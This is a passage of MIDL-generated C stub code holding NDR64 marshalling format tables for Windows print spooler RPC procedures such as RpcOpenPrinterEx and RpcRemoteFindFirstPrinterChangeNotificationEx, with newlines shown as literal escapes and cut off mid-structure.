   /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag795,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 3 /* 0x3 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag796,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag801,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag803,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag793_t __midl_frag793 =\n{ \n/* SPLCLIENT_CONTAINER */\n    { \n    /* SPLCLIENT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag794\n        },\n        { \n        /* SPLCLIENT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag783_t __midl_frag783 =\n{ \n/* RpcOpenPrinterEx */\n    { \n    /* RpcOpenPrinterEx */      /* procedure RpcOpenPrinterEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag1080,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag817,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag1080,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* AccessRequired */      /* parameter AccessRequired */\n        &__midl_frag1082,\n        { \n        /* AccessRequired */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag793,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag778_t __midl_frag778 =\n{ \n/* *RPC_V2_NOTIFY_OPTIONS */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag755\n};\n\nstatic const __midl_frag775_t __midl_frag775 =\n{ \n/* RpcRouterRefreshPrinterChangeNotification */\n    { \n    /* RpcRouterRefreshPrinterChangeNotification */      /* procedure RpcRouterRefreshPrinterChangeNotification */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwColor */      /* parameter dwColor */\n        &__midl_frag1082,\n        { \n        /* dwColor */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pOptions */      /* parameter pOptions */\n        &__midl_frag778,\n        { \n        /* pOptions */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppInfo */      /* parameter ppInfo */\n        &__midl_frag1082,\n        { \n        /* ppInfo */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag766_t __midl_frag766 =\n{ \n/* RpcRouterReplyPrinterEx */\n    { \n    /* RpcRouterReplyPrinterEx */      /* procedure RpcRouterReplyPrinterEx */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hNotify */      /* parameter hNotify */\n        &__midl_frag827,\n        { \n        /* hNotify */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* dwColor */      /* parameter dwColor */\n        &__midl_frag1082,\n        { \n        /* dwColor */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pdwResult */      /* parameter pdwResult */\n        &__midl_frag1082,\n        { \n        /* pdwResult */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwReplyType */      /* parameter dwReplyType */\n        &__midl_frag1082,\n        { \n        /* dwReplyType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* Reply */      /* parameter Reply */\n        &__midl_frag1082,\n        { \n        /* Reply */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag764_t __midl_frag764 =\n{ \n/*  */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag756\n    }\n};\n\nstatic const __midl_frag763_t __midl_frag763 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag762_t __midl_frag762 =\n{ \n/* *short */\n    { \n    /* *short */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *short */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag763\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag760\n    }\n};\n\nstatic const __midl_frag761_t __midl_frag761 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *short */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 32 /* 0x20 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag762\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag760_t __midl_frag760 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag757_t __midl_frag757 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag756_t __midl_frag756 =\n{ \n/* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag757\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 16 /* 0x10 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *short */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 32 /* 0x20 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag762\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag761\n    }\n};\n\nstatic const __midl_frag755_t __midl_frag755 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag764,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag747_t __midl_frag747 =\n{ \n/* RpcRemoteFindFirstPrinterChangeNotificationEx */\n    { \n    /* RpcRemoteFindFirstPrinterChangeNotificationEx */      /* procedure RpcRemoteFindFirstPrinterChangeNotificationEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* fdwOptions */      /* parameter fdwOptions */\n        &__midl_frag1082,\n        { \n        /* fdwOptions */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszLocalMachine */      /* parameter pszLocalMachine */\n        &__midl_frag1080,\n        { \n        /* pszLocalMachine */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwPrinterLocal */      /* parameter dwPrinterLocal */\n        &__midl_frag1082,\n        { \n        /* dwPrinterLocal */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pOptions */      /* parameter pOptions */\n        &__midl_frag778,\n        { \n        /* pOptions */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag742_t __midl_frag742 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 512 /* 0x200 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag741_t __midl_frag741 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag742\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag740_t __midl_frag740 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag741\n};\n\nstatic const __midl_frag739_t __midl_frag739 =\n{ \n/* DWORD */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 512 /* 0x200 */\n};\n\nstatic const __midl_frag732_t __midl_frag732 =\n{ \n/* RpcRemoteFindFirstPrinterChangeNotification */\n    { \n    /* RpcRemoteFindFirstPrinterChangeNotification */      /* procedure RpcRemoteFindFirstPrinterChangeNotification */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 